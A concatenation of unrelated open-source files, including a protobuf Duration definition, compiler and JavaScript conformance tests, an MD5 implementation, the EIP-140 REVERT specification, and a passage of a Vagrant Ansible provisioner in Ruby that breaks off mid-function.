// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
syntax = "proto3";
package google.protobuf;
option csharp_namespace = "Google.Protobuf.WellKnownTypes";
option cc_enable_arenas = true;
option go_package = "github.com/golang/protobuf/ptypes/duration";
option java_package = "com.google.protobuf";
option java_outer_classname = "DurationProto";
option java_multiple_files = true;
option objc_class_prefix = "GPB";
// A Duration represents a signed, fixed-length span of time represented
// as a count of seconds and fractions of seconds at nanosecond
// resolution. It is independent of any calendar and concepts like "day"
// or "month". It is related to Timestamp in that the difference between
// two Timestamp values is a Duration and it can be added or subtracted
// from a Timestamp. Range is approximately +-10,000 years.
//
// # Examples
//
// Example 1: Compute Duration from two Timestamps in pseudo code.
//
// Timestamp start = ...;
// Timestamp end = ...;
// Duration duration = ...;
//
// duration.seconds = end.seconds - start.seconds;
// duration.nanos = end.nanos - start.nanos;
//
// if (duration.seconds < 0 && duration.nanos > 0) {
// duration.seconds += 1;
// duration.nanos -= 1000000000;
// } else if (durations.seconds > 0 && duration.nanos < 0) {
// duration.seconds -= 1;
// duration.nanos += 1000000000;
// }
//
// Example 2: Compute Timestamp from Timestamp + Duration in pseudo code.
//
// Timestamp start = ...;
// Duration duration = ...;
// Timestamp end = ...;
//
// end.seconds = start.seconds + duration.seconds;
// end.nanos = start.nanos + duration.nanos;
//
// if (end.nanos < 0) {
// end.seconds -= 1;
// end.nanos += 1000000000;
// } else if (end.nanos >= 1000000000) {
// end.seconds += 1;
// end.nanos -= 1000000000;
// }
//
// Example 3: Compute Duration from datetime.timedelta in Python.
//
// td = datetime.timedelta(days=3, minutes=10)
// duration = Duration()
// duration.FromTimedelta(td)
//
// # JSON Mapping
//
// In JSON format, the Duration type is encoded as a string rather than an
// object, where the string ends in the suffix "s" (indicating seconds) and
// is preceded by the number of seconds, with nanoseconds expressed as
// fractional seconds. For example, 3 seconds with 0 nanoseconds should be
// encoded in JSON format as "3s", while 3 seconds and 1 nanosecond should
// be expressed in JSON format as "3.000000001s", and 3 seconds and 1
// microsecond should be expressed in JSON format as "3.000001s".
//
//
message Duration {
// Signed seconds of the span of time. Must be from -315,576,000,000
// to +315,576,000,000 inclusive. Note: these bounds are computed from:
// 60 sec/min * 60 min/hr * 24 hr/day * 365.25 days/year * 10000 years
int64 seconds = 1;
// Signed fractions of a second at nanosecond resolution of the span
// of time. Durations less than one second are represented with a 0
// `seconds` field and a positive or negative `nanos` field. For durations
// of one second or more, a non-zero value for the `nanos` field must be
// of the same sign as the `seconds` field. Must be from -999,999,999
// to +999,999,999 inclusive.
int32 nanos = 2;
}
| {
"pile_set_name": "Github"
} |
; RUN: llvm-as < %s -o %t1.bc
; RUN: llvm-as < %p/Inputs/objectivec-class-property-flag-mismatch.ll -o %t2.bc
; RUN: llvm-link %t1.bc %t2.bc -S | FileCheck %s
; RUN: llvm-link %t2.bc %t1.bc -S | FileCheck %s
; CHECK: !0 = !{i32 1, !"Objective-C Image Info Version", i32 0}
; CHECK: !1 = !{i32 4, !"Objective-C Class Properties", i32 0}
!llvm.module.flags = !{!0}
!0 = !{i32 1, !"Objective-C Image Info Version", i32 0}
| {
"pile_set_name": "Github"
} |
{
"variable": {
"poc": {
"default": "${replace("europe-west", "-", " ")}"
}
}
}
| {
"pile_set_name": "Github"
} |
// This file was procedurally generated from the following sources:
// - src/dstr-binding/ary-ptrn-elem-id-init-exhausted.case
// - src/dstr-binding/default/gen-func-decl-dflt.template
/*---
description: Destructuring initializer with an exhausted iterator (generator function declaration (default parameter))
esid: sec-generator-function-definitions-runtime-semantics-instantiatefunctionobject
es6id: 14.4.12
features: [generators, destructuring-binding, default-parameters]
flags: [generated]
info: |
GeneratorDeclaration : function * ( FormalParameters ) { GeneratorBody }
[...]
2. Let F be GeneratorFunctionCreate(Normal, FormalParameters,
GeneratorBody, scope, strict).
[...]
9.2.1 [[Call]] ( thisArgument, argumentsList)
[...]
7. Let result be OrdinaryCallEvaluateBody(F, argumentsList).
[...]
9.2.1.3 OrdinaryCallEvaluateBody ( F, argumentsList )
1. Let status be FunctionDeclarationInstantiation(F, argumentsList).
[...]
9.2.12 FunctionDeclarationInstantiation(func, argumentsList)
[...]
23. Let iteratorRecord be Record {[[iterator]]:
CreateListIterator(argumentsList), [[done]]: false}.
24. If hasDuplicates is true, then
[...]
25. Else,
b. Let formalStatus be IteratorBindingInitialization for formals with
iteratorRecord and env as arguments.
[...]
13.3.3.6 Runtime Semantics: IteratorBindingInitialization
SingleNameBinding : BindingIdentifier Initializeropt
[...]
5. If iteratorRecord.[[done]] is true, let v be undefined.
6. If Initializer is present and v is undefined, then
a. Let defaultValue be the result of evaluating Initializer.
b. Let v be GetValue(defaultValue).
[...]
7. If environment is undefined, return PutValue(lhs, v).
8. Return InitializeReferencedBinding(lhs, v).
---*/
var callCount = 0;
function* f([x = 23] = []) {
assert.sameValue(x, 23);
callCount = callCount + 1;
};
f().next();
assert.sameValue(callCount, 1, 'generator function invoked exactly once');
| {
"pile_set_name": "Github"
} |
// http://stackoverflow.com/a/1655795/4244787
// but more encapsulated, might be little bit slower not using globals
(function(){
function md5cycle(x, k) {
var a = x[0], b = x[1], c = x[2], d = x[3];
a = ff(a, b, c, d, k[0], 7, -680876936);
d = ff(d, a, b, c, k[1], 12, -389564586);
c = ff(c, d, a, b, k[2], 17, 606105819);
b = ff(b, c, d, a, k[3], 22, -1044525330);
a = ff(a, b, c, d, k[4], 7, -176418897);
d = ff(d, a, b, c, k[5], 12, 1200080426);
c = ff(c, d, a, b, k[6], 17, -1473231341);
b = ff(b, c, d, a, k[7], 22, -45705983);
a = ff(a, b, c, d, k[8], 7, 1770035416);
d = ff(d, a, b, c, k[9], 12, -1958414417);
c = ff(c, d, a, b, k[10], 17, -42063);
b = ff(b, c, d, a, k[11], 22, -1990404162);
a = ff(a, b, c, d, k[12], 7, 1804603682);
d = ff(d, a, b, c, k[13], 12, -40341101);
c = ff(c, d, a, b, k[14], 17, -1502002290);
b = ff(b, c, d, a, k[15], 22, 1236535329);
a = gg(a, b, c, d, k[1], 5, -165796510);
d = gg(d, a, b, c, k[6], 9, -1069501632);
c = gg(c, d, a, b, k[11], 14, 643717713);
b = gg(b, c, d, a, k[0], 20, -373897302);
a = gg(a, b, c, d, k[5], 5, -701558691);
d = gg(d, a, b, c, k[10], 9, 38016083);
c = gg(c, d, a, b, k[15], 14, -660478335);
b = gg(b, c, d, a, k[4], 20, -405537848);
a = gg(a, b, c, d, k[9], 5, 568446438);
d = gg(d, a, b, c, k[14], 9, -1019803690);
c = gg(c, d, a, b, k[3], 14, -187363961);
b = gg(b, c, d, a, k[8], 20, 1163531501);
a = gg(a, b, c, d, k[13], 5, -1444681467);
d = gg(d, a, b, c, k[2], 9, -51403784);
c = gg(c, d, a, b, k[7], 14, 1735328473);
b = gg(b, c, d, a, k[12], 20, -1926607734);
a = hh(a, b, c, d, k[5], 4, -378558);
d = hh(d, a, b, c, k[8], 11, -2022574463);
c = hh(c, d, a, b, k[11], 16, 1839030562);
b = hh(b, c, d, a, k[14], 23, -35309556);
a = hh(a, b, c, d, k[1], 4, -1530992060);
d = hh(d, a, b, c, k[4], 11, 1272893353);
c = hh(c, d, a, b, k[7], 16, -155497632);
b = hh(b, c, d, a, k[10], 23, -1094730640);
a = hh(a, b, c, d, k[13], 4, 681279174);
d = hh(d, a, b, c, k[0], 11, -358537222);
c = hh(c, d, a, b, k[3], 16, -722521979);
b = hh(b, c, d, a, k[6], 23, 76029189);
a = hh(a, b, c, d, k[9], 4, -640364487);
d = hh(d, a, b, c, k[12], 11, -421815835);
c = hh(c, d, a, b, k[15], 16, 530742520);
b = hh(b, c, d, a, k[2], 23, -995338651);
a = ii(a, b, c, d, k[0], 6, -198630844);
d = ii(d, a, b, c, k[7], 10, 1126891415);
c = ii(c, d, a, b, k[14], 15, -1416354905);
b = ii(b, c, d, a, k[5], 21, -57434055);
a = ii(a, b, c, d, k[12], 6, 1700485571);
d = ii(d, a, b, c, k[3], 10, -1894986606);
c = ii(c, d, a, b, k[10], 15, -1051523);
b = ii(b, c, d, a, k[1], 21, -2054922799);
a = ii(a, b, c, d, k[8], 6, 1873313359);
d = ii(d, a, b, c, k[15], 10, -30611744);
c = ii(c, d, a, b, k[6], 15, -1560198380);
b = ii(b, c, d, a, k[13], 21, 1309151649);
a = ii(a, b, c, d, k[4], 6, -145523070);
d = ii(d, a, b, c, k[11], 10, -1120210379);
c = ii(c, d, a, b, k[2], 15, 718787259);
b = ii(b, c, d, a, k[9], 21, -343485551);
x[0] = add32(a, x[0]);
x[1] = add32(b, x[1]);
x[2] = add32(c, x[2]);
x[3] = add32(d, x[3]);
}
function cmn(q, a, b, x, s, t) {
a = add32(add32(a, q), add32(x, t));
return add32((a << s) | (a >>> (32 - s)), b);
}
function ff(a, b, c, d, x, s, t) {
return cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function gg(a, b, c, d, x, s, t) {
return cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function hh(a, b, c, d, x, s, t) {
return cmn(b ^ c ^ d, a, b, x, s, t);
}
function ii(a, b, c, d, x, s, t) {
return cmn(c ^ (b | (~d)), a, b, x, s, t);
}
function md51(s) {
txt = '';
var n = s.length,
state = [1732584193, -271733879, -1732584194, 271733878], i;
for (i=64; i<=s.length; i+=64) {
md5cycle(state, md5blk(s.substring(i-64, i)));
}
s = s.substring(i-64);
var tail = [0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0];
for (i=0; i<s.length; i++)
tail[i>>2] |= s.charCodeAt(i) << ((i%4) << 3);
tail[i>>2] |= 0x80 << ((i%4) << 3);
if (i > 55) {
md5cycle(state, tail);
for (i=0; i<16; i++) tail[i] = 0;
}
tail[14] = n*8;
md5cycle(state, tail);
return state;
}
/* there needs to be support for Unicode here,
* unless we pretend that we can redefine the MD-5
* algorithm for multi-byte characters (perhaps
* by adding every four 16-bit characters and
* shortening the sum to 32 bits). Otherwise
* I suggest performing MD-5 as if every character
* was two bytes--e.g., 0040 0025 = @%--but then
* how will an ordinary MD-5 sum be matched?
* There is no way to standardize text to something
* like UTF-8 before transformation; speed cost is
* utterly prohibitive. The JavaScript standard
* itself needs to look at this: it should start
* providing access to strings as preformed UTF-8
* 8-bit unsigned value arrays.
*/
function md5blk(s) { /* I figured global was faster. */
var md5blks = [], i; /* Andy King said do it this way. */
for (i=0; i<64; i+=4) {
md5blks[i>>2] = s.charCodeAt(i)
+ (s.charCodeAt(i+1) << 8)
+ (s.charCodeAt(i+2) << 16)
+ (s.charCodeAt(i+3) << 24);
}
return md5blks;
}
var hex_chr = '0123456789abcdef'.split('');
function rhex(n)
{
var s='', j=0;
for(; j<4; j++)
s += hex_chr[(n >> (j * 8 + 4)) & 0x0F]
+ hex_chr[(n >> (j * 8)) & 0x0F];
return s;
}
function hex(x) {
for (var i=0; i<x.length; i++)
x[i] = rhex(x[i]);
return x.join('');
}
window.md5 = function(s) {
return hex(md51(s));
};
/* this function is much faster,
so if possible we use it. Some IEs
are the only ones I know of that
need the idiotic second function,
generated by an if clause. */
function add32(a, b) {
return (a + b) & 0xFFFFFFFF;
}
if (md5('hello') != '5d41402abc4b2a76b9719d911017c592') {
function add32(x, y) {
var lsw = (x & 0xFFFF) + (y & 0xFFFF),
msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
}
})();
| {
"pile_set_name": "Github"
} |
package com.bioxx.tfc.Render.Models;
import net.minecraft.client.model.ModelBase;
import net.minecraft.client.model.ModelRenderer;
import net.minecraft.entity.Entity;
import net.minecraft.entity.EntityLivingBase;
import net.minecraft.entity.player.EntityPlayer;
public class ModelQuiver extends ModelBase {
private ModelRenderer quiver;
private ModelRenderer[] arrows = new ModelRenderer[16];
public ModelQuiver(){
super();
//Quiver
quiver = new ModelRenderer(this,38,0);
quiver.addBox(-2.5f,-6,-1.5f,5,12,3);
quiver.setRotationPoint(0,4,4);
quiver.rotateAngleZ = (float)(Math.PI/4) + (float)(Math.PI);
quiver.setTextureSize(64, 32);
for(int i = 0; i < arrows.length; i++)
{
arrows[i] = new ModelRenderer(this,59,0);
arrows[i].addBox(-1,-8,0,2,14,0);
arrows[i].setRotationPoint(0,0,0f);
arrows[i].setTextureSize(64,32);
arrows[i].rotateAngleZ = (float)(Math.PI) + (float)(Math.PI/36)*(i%3)*(i%2==0?1f:-1f);
arrows[i].rotateAngleX = (float)(Math.PI/36)*(i%3)*(i%2==(i%3)?1f:-1f);
quiver.addChild(arrows[i]);
}
}
/**
* Sets the rotation on a model where the provided params are in radians
* @param model The model
* @param x The x angle
* @param y The y angle
* @param z The z angle
*/
protected void setRotationRadians(ModelRenderer model, float x, float y, float z) {
model.rotateAngleX = x;
model.rotateAngleY = y;
model.rotateAngleZ = z;
}
/**
* Sets the rotation on a model where the provided params are in degrees
* @param model The model
* @param x The x angle
* @param y The y angle
* @param z The z angle
*/
protected void setRotationDegrees(ModelRenderer model, float x, float y, float z) {
this.setRotationRadians(model, (float) Math.toRadians(x), (float) Math.toRadians(y), (float) Math.toRadians(z));
}
public void render(EntityLivingBase theEntity, int numArrows) {
for(int i = 0; i < numArrows; i++){
arrows[i].isHidden = false;
}
this.quiver.render(0.0625F);
for(int i = 0; i < arrows.length; i++){
arrows[i].isHidden = true;
}
}
@Override
public void render(Entity entity, float f, float f1, float f2, float f3, float f4, float f5) {
if (entity instanceof EntityPlayer) this.quiver.render(0.0625F);
}
}
| {
"pile_set_name": "Github"
} |
<?php
/** Welsh (Cymraeg)
*
* @ingroup Language
*
* @author Niklas Laxström
*/
class LanguageCy extends Language {
/**
* @param $count int
* @param $forms array
* @return string
*/
function convertPlural( $count, $forms ) {
if ( !count( $forms ) ) { return ''; }
$forms = $this->preConvertPlural( $forms, 6 );
$count = abs( $count );
if ( $count >= 0 && $count <= 3 ) {
return $forms[$count];
} elseif ( $count == 6 ) {
return $forms[4];
} else {
return $forms[5];
}
}
}
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8; -*-
import os
import sys
# The shutil.which() function, backported from Python 3.3.
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Given a command, mode, and a PATH string, return the path which
conforms to the given mode on the PATH, or None if there is no such
file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
of os.environ.get("PATH"), or can be overridden with a custom search
path.
"""
# Check that a given file can be accessed with the correct mode.
# Additionally check that `file` is not a directory, as on Windows
# directories pass the os.access check.
def _access_check(fn, mode):
return (os.path.exists(fn) and os.access(fn, mode)
and not os.path.isdir(fn))
# If we're given a path with a directory part, look it up directly rather
# than referring to PATH directories. This includes checking relative to the
# current directory, e.g. ./script
if os.path.dirname(cmd):
if _access_check(cmd, mode):
return cmd
return None
if path is None:
path = os.environ.get("PATH", os.defpath)
if not path:
return None
path = path.split(os.pathsep)
if sys.platform == "win32":
# The current directory takes precedence on Windows.
if not os.curdir in path:
path.insert(0, os.curdir)
# PATHEXT is necessary to check on Windows.
pathext = os.environ.get("PATHEXT", "").split(os.pathsep)
# See if the given file matches any of the expected path extensions.
# This will allow us to short circuit when given "python.exe".
# If it does match, only test that one, otherwise we have to try
# others.
if any(cmd.lower().endswith(ext.lower()) for ext in pathext):
files = [cmd]
else:
files = [cmd + ext for ext in pathext]
else:
# On other platforms you don't have things like PATHEXT to tell you
# what file suffixes are executable, so just pass on cmd as-is.
files = [cmd]
seen = set()
for dir in path:
normdir = os.path.normcase(dir)
if not normdir in seen:
seen.add(normdir)
for thefile in files:
name = os.path.join(dir, thefile)
if _access_check(name, mode):
return name
return None
| {
"pile_set_name": "Github"
} |
#define __SYSCALL_32BIT_ARG_BYTES 28
#include "SYS.h"
#ifndef SYS___semwait_signal_nocancel
#error "SYS___semwait_signal_nocancel not defined. The header files libsyscall is building against do not match syscalls.master."
#endif
#if defined(__i386__) || defined(__x86_64__) || defined(__ppc__) || defined(__arm__) || defined(__arm64__)
__SYSCALL2(___semwait_signal_nocancel, __semwait_signal_nocancel, 6, cerror_nocancel)
#endif
| {
"pile_set_name": "Github"
} |
---
eip: 140
title: REVERT instruction
author: Alex Beregszaszi (@axic), Nikolai Mushegian <nikolai@nexusdev.us>
type: Standards Track
category: Core
status: Final
created: 2017-02-06
---
## Simple Summary
The `REVERT` instruction provides a way to stop execution and revert state changes, without consuming all provided gas and with the ability to return a reason.
## Abstract
The `REVERT` instruction will stop execution, roll back all state changes done so far and provide a pointer to a memory section, which can be interpreted as an error code or message. While doing so, it will not consume all the remaining gas.
## Motivation
Currently this is not possible. There are two practical ways to revert a transaction from within a contract: running out of gas or executing an invalid instruction. Both of these options will consume all remaining gas. Additionally, reverting an EVM execution means that all changes, including LOGs, are lost and there is no way to convey a reason for aborting an EVM execution.
## Specification
On blocks with `block.number >= BYZANTIUM_FORK_BLKNUM`, the `REVERT` instruction is introduced at `0xfd`. It expects two stack items, the top item is the `memory_offset` followed by `memory_length`. It does not produce any stack elements because it stops execution.
The semantics of `REVERT` with respect to memory and memory cost are identical to those of `RETURN`. The sequence of bytes given by `memory_offset` and `memory_length` is called "error message" in the following.
The effect of `REVERT` is that execution is aborted, considered as failed, and state changes are rolled back. The error message will be available to the caller in the returndata buffer and will also be copied to the output area, i.e. it is handled in the same way as the regular return data is handled.
The cost of the `REVERT` instruction equals to that of the `RETURN` instruction, i.e. the rollback itself does not consume all gas, the contract only has to pay for memory.
In case there is not enough gas left to cover the cost of `REVERT` or there is a stack underflow, the effect of the `REVERT` instruction will equal to that of a regular out of gas exception, i.e. it will consume all gas.
In the same way as all other failures, the calling opcode returns `0` on the stack following a `REVERT` opcode in the callee.
In case `REVERT` is used in the context of a `CREATE` or `CREATE2` call, no code is deployed, `0` is put on the stack and the error message is available in the returndata buffer.
The content of the optionally provided memory section is not defined by this EIP, but is a candidate for another Informational EIP.
## Backwards Compatibility
This change has no effect on contracts created in the past unless they contain `0xfd` as an instruction.
## Test Cases
```
6c726576657274656420646174616000557f726576657274206d657373616765000000000000000000000000000000000000600052600e6000fd
```
should:
- return `0x726576657274206d657373616765` as `REVERT` data,
- the storage at key `0x0` should be left as unset and
- use 20024 gas in total.
## Copyright
Copyright and related rights waived via [CC0](https://creativecommons.org/publicdomain/zero/1.0/).
| {
"pile_set_name": "Github"
} |
prefix=@prefix@
exec_prefix=@exec_prefix@
libdir=@libdir@
includedir=@includedir@
Name: expat
Version: @PACKAGE_VERSION@
Description: expat XML parser
URL: http://www.libexpat.org
Libs: -L${libdir} -lexpat
Cflags: -I${includedir}
| {
"pile_set_name": "Github"
} |
val download = os.proc( "curl", "https://api.github.com/repos/lihaoyi/mill/releases").spawn()
val base64 = os.proc("base64").spawn(stdin = download.stdout)
val gzip = os.proc("gzip").spawn(stdin = base64.stdout)
val upload = os
.proc("curl", "-X", "PUT", "-d", "@-", "https://httpbin.org/anything")
.spawn(stdin = gzip.stdout)
val contentLength = upload.stdout.lines.filter(_.contains("Content-Length"))
pprint.log(contentLength)
| {
"pile_set_name": "Github"
} |
require_relative "../constants"
require_relative "../errors"
require_relative "../helpers"
module VagrantPlugins
module Ansible
module Provisioner
# This class is a base class where the common functionality shared between
# both Ansible provisioners are stored.
# This is **not an actual provisioner**.
# Instead, {Host} (ansible) or {Guest} (ansible_local) should be used.
class Base < Vagrant.plugin("2", :provisioner)
RANGE_PATTERN = %r{(?:\[[a-z]:[a-z]\]|\[[0-9]+?:[0-9]+?\])}.freeze
ANSIBLE_PARAMETER_NAMES = {
Ansible::COMPATIBILITY_MODE_V1_8 => {
ansible_host: "ansible_ssh_host",
ansible_password: "ansible_ssh_pass",
ansible_port: "ansible_ssh_port",
ansible_user: "ansible_ssh_user",
ask_become_pass: "ask-sudo-pass",
become: "sudo",
become_user: "sudo-user",
},
Ansible::COMPATIBILITY_MODE_V2_0 => {
ansible_host: "ansible_host",
ansible_password: "ansible_password",
ansible_port: "ansible_port",
ansible_user: "ansible_user",
ask_become_pass: "ask-become-pass",
become: "become",
become_user: "become-user",
}
}
protected
def initialize(machine, config)
super
@control_machine = nil
@command_arguments = []
@environment_variables = {}
@inventory_machines = {}
@inventory_path = nil
@gathered_version_stdout = nil
@gathered_version_major = nil
@gathered_version = nil
end
def set_and_check_compatibility_mode
begin
set_gathered_ansible_version(gather_ansible_version)
rescue StandardError => e
# Nothing to do here, as the fallback on safe compatibility_mode is done below
@logger.error("Error while gathering the ansible version: #{e.to_s}")
end
if @gathered_version_major
if config.compatibility_mode == Ansible::COMPATIBILITY_MODE_AUTO
detect_compatibility_mode
elsif @gathered_version_major.to_i < 2 && config.compatibility_mode == Ansible::COMPATIBILITY_MODE_V2_0
# A better version comparator will be needed
# when more compatibility modes come... but so far let's keep it simple!
raise Ansible::Errors::AnsibleCompatibilityModeConflict,
ansible_version: @gathered_version,
system: @control_machine,
compatibility_mode: config.compatibility_mode
end
end
if config.compatibility_mode == Ansible::COMPATIBILITY_MODE_AUTO
config.compatibility_mode = Ansible::SAFE_COMPATIBILITY_MODE
@machine.env.ui.warn(I18n.t("vagrant.provisioners.ansible.compatibility_mode_not_detected",
compatibility_mode: config.compatibility_mode,
gathered_version: @gathered_version_stdout) +
"\n")
end
unless Ansible::COMPATIBILITY_MODES.slice(1..-1).include?(config.compatibility_mode)
raise Ansible::Errors::AnsibleProgrammingError,
message: "The config.compatibility_mode must be correctly set at this stage!",
details: "config.compatibility_mode: '#{config.compatibility_mode}'"
end
@lexicon = ANSIBLE_PARAMETER_NAMES[config.compatibility_mode]
end
def check_files_existence
check_path_is_a_file(config.playbook, :playbook)
check_path_exists(config.inventory_path, :inventory_path) if config.inventory_path
check_path_is_a_file(config.config_file, :config_file) if config.config_file
check_path_is_a_file(config.extra_vars[1..-1], :extra_vars) if has_an_extra_vars_file_argument
check_path_is_a_file(config.galaxy_role_file, :galaxy_role_file) if config.galaxy_role_file
check_path_is_a_file(config.vault_password_file, :vault_password_file) if config.vault_password_file
end
def get_environment_variables_for_shell_execution
shell_env_vars = []
@environment_variables.each_pair do |k, v|
if k =~ /ANSIBLE_SSH_ARGS|ANSIBLE_ROLES_PATH|ANSIBLE_CONFIG/
shell_env_vars << "#{k}='#{v}'"
else
shell_env_vars << "#{k}=#{v}"
end
end
shell_env_vars
end
def ansible_galaxy_command_for_shell_execution
command_values = {
role_file: "'#{get_galaxy_role_file}'",
roles_path: "'#{get_galaxy_roles_path}'"
}
shell_command = get_environment_variables_for_shell_execution
shell_command << config.galaxy_command % command_values
shell_command.flatten.join(' ')
end
def ansible_playbook_command_for_shell_execution
shell_command = get_environment_variables_for_shell_execution
shell_command << config.playbook_command
shell_args = []
@command_arguments.each do |arg|
if arg =~ /(--start-at-task|--limit)=(.+)/
shell_args << %Q(#{$1}="#{$2}")
elsif arg =~ /(--extra-vars)=(.+)/
shell_args << %Q(%s=%s) % [$1, $2.shellescape]
else
shell_args << arg
end
end
shell_command << shell_args
# Add the raw arguments at the end, to give them the highest precedence
shell_command << config.raw_arguments if config.raw_arguments
shell_command << config.playbook
shell_command.flatten.join(' ')
end
def prepare_common_command_arguments
# By default we limit by the current machine,
# but this can be overridden by the `limit` option.
if config.limit
@command_arguments << "--limit=#{Helpers::as_list_argument(config.limit)}"
else
@command_arguments << "--limit=#{@machine.name}"
end
@command_arguments << "--inventory-file=#{inventory_path}"
@command_arguments << "--extra-vars=#{extra_vars_argument}" if config.extra_vars
@command_arguments << "--#{@lexicon[:become]}" if config.become
@command_arguments << "--#{@lexicon[:become_user]}=#{config.become_user}" if config.become_user
@command_arguments << "#{verbosity_argument}" if verbosity_is_enabled?
@command_arguments << "--vault-password-file=#{config.vault_password_file}" if config.vault_password_file
@command_arguments << "--tags=#{Helpers::as_list_argument(config.tags)}" if config.tags
@command_arguments << "--skip-tags=#{Helpers::as_list_argument(config.skip_tags)}" if config.skip_tags
@command_arguments << "--start-at-task=#{config.start_at_task}" if config.start_at_task
end
def prepare_common_environment_variables
# Ensure Ansible output isn't buffered so that we receive output
# on a task-by-task basis.
@environment_variables["PYTHONUNBUFFERED"] = 1
# When Ansible output is piped in Vagrant integration, its default colorization is
# automatically disabled and the only way to re-enable colors is to use ANSIBLE_FORCE_COLOR.
@environment_variables["ANSIBLE_FORCE_COLOR"] = "true" if @machine.env.ui.color?
# Setting ANSIBLE_NOCOLOR is "unnecessary" at the moment, but this could change in the future
# (e.g. local provisioner [GH-2103], possible change in vagrant/ansible integration, etc.)
@environment_variables["ANSIBLE_NOCOLOR"] = "true" if !@machine.env.ui.color?
# Use ANSIBLE_ROLES_PATH to tell ansible-playbook where to look for roles
# (there is no equivalent command line argument in ansible-playbook)
@environment_variables["ANSIBLE_ROLES_PATH"] = get_galaxy_roles_path if config.galaxy_roles_path
prepare_ansible_config_environment_variable
end
def prepare_ansible_config_environment_variable
@environment_variables["ANSIBLE_CONFIG"] = config.config_file if config.config_file
end
# Auto-generate "safe" inventory file based on Vagrantfile,
# unless inventory_path is explicitly provided
def inventory_path
if config.inventory_path
config.inventory_path
else
@inventory_path ||= generate_inventory
end
end
def get_inventory_host_vars_string(machine_name)
# In Ruby, Symbol and String values are different, but
# Vagrant has to unify them for better user experience.
vars = config.host_vars[machine_name.to_sym]
if !vars
vars = config.host_vars[machine_name.to_s]
end
s = nil
if vars.is_a?(Hash)
s = vars.each.collect {
|k, v|
if v.is_a?(String) && v.include?(' ') && !v.match(/^('|")[^'"]+('|")$/)
v = %Q('#{v}')
end
"#{k}=#{v}"
}.join(" ")
elsif vars.is_a?(Array)
s = vars.join(" ")
elsif vars.is_a?(String)
s = vars
end
if s and !s.empty? then s else nil end
end
def generate_inventory
inventory = "# Generated by Vagrant\n\n"
# This "abstract" step must fill the @inventory_machines list
# and return the list of supported host(s)
inventory += generate_inventory_machines
inventory += generate_inventory_groups
# This "abstract" step must create the inventory file and
# return its location path
# TODO: explain possible race conditions, etc.
@inventory_path = ship_generated_inventory(inventory)
end
# Write out groups information.
# All defined groups will be included, but only supported
# machines and defined child groups will be included.
def generate_inventory_groups
groups_of_groups = {}
defined_groups = []
group_vars = {}
inventory_groups = ""
# Verify if host range patterns exist and warn
if config.groups.any? { |gm| gm.to_s[RANGE_PATTERN] }
@machine.ui.warn(I18n.t("vagrant.provisioners.ansible.ansible_host_pattern_detected"))
end
config.groups.each_pair do |gname, gmembers|
if gname.is_a?(Symbol)
gname = gname.to_s
end
if gmembers.is_a?(String)
gmembers = gmembers.split(/\s+/)
elsif gmembers.is_a?(Hash)
gmembers = gmembers.each.collect{ |k, v| "#{k}=#{v}" }
elsif !gmembers.is_a?(Array)
gmembers = []
end
if gname.end_with?(":children")
groups_of_groups[gname] = gmembers
defined_groups << gname.sub(/:children$/, '')
elsif gname.end_with?(":vars")
group_vars[gname] = gmembers
else
defined_groups << gname
inventory_groups += "\n[#{gname}]\n"
gmembers.each do |gm|
# TODO : Expand and validate host range patterns
# against @inventory_machines list before adding them
# otherwise abort with an error message
if gm[RANGE_PATTERN]
inventory_groups += "#{gm}\n"
end
inventory_groups += "#{gm}\n" if @inventory_machines.include?(gm.to_sym)
end
end
end
defined_groups.uniq!
groups_of_groups.each_pair do |gname, gmembers|
inventory_groups += "\n[#{gname}]\n"
gmembers.each do |gm|
inventory_groups += "#{gm}\n" if defined_groups.include?(gm)
end
end
group_vars.each_pair do |gname, gmembers|
if defined_groups.include?(gname.sub(/:vars$/, "")) || gname == "all:vars"
inventory_groups += "\n[#{gname}]\n" + gmembers.join("\n") + "\n"
end
end
return inventory_groups
end
def has_an_extra_vars_file_argument
config.extra_vars && config.extra_vars.kind_of?(String) && config.extra_vars =~ /^@.+$/
end
def extra_vars_argument
if has_an_extra_vars_file_argument
# A JSON or YAML file is referenced.
config.extra_vars
else
# Expected to be a Hash after config validation.
config.extra_vars.to_json
end
end
def get_galaxy_role_file
Helpers::expand_path_in_unix_style(config.galaxy_role_file, get_provisioning_working_directory)
end
def get_galaxy_roles_path
base_dir = get_provisioning_working_directory
if config.galaxy_roles_path
Helpers::expand_path_in_unix_style(config.galaxy_roles_path, base_dir)
else
playbook_path = Helpers::expand_path_in_unix_style(config.playbook, base_dir)
File.join(Pathname.new(playbook_path).parent, 'roles')
end
end
def ui_running_ansible_command(name, command)
@machine.ui.detail I18n.t("vagrant.provisioners.ansible.running_#{name}")
if verbosity_is_enabled?
# Show the ansible command in use
@machine.env.ui.detail command
end
end
def verbosity_is_enabled?
config.verbose && !config.verbose.to_s.empty?
end
def verbosity_argument
if config.verbose.to_s =~ /^-?(v+)$/
"-#{$+}"
else
# safe default, in case input strays
'-v'
end
end
private
def detect_compatibility_mode
if !@gathered_version_major || config.compatibility_mode != Ansible::COMPATIBILITY_MODE_AUTO
raise Ansible::Errors::AnsibleProgrammingError,
message: "The detect_compatibility_mode() function shouldn't have been called!",
details: %Q(config.compatibility_mode: '#{config.compatibility_mode}'
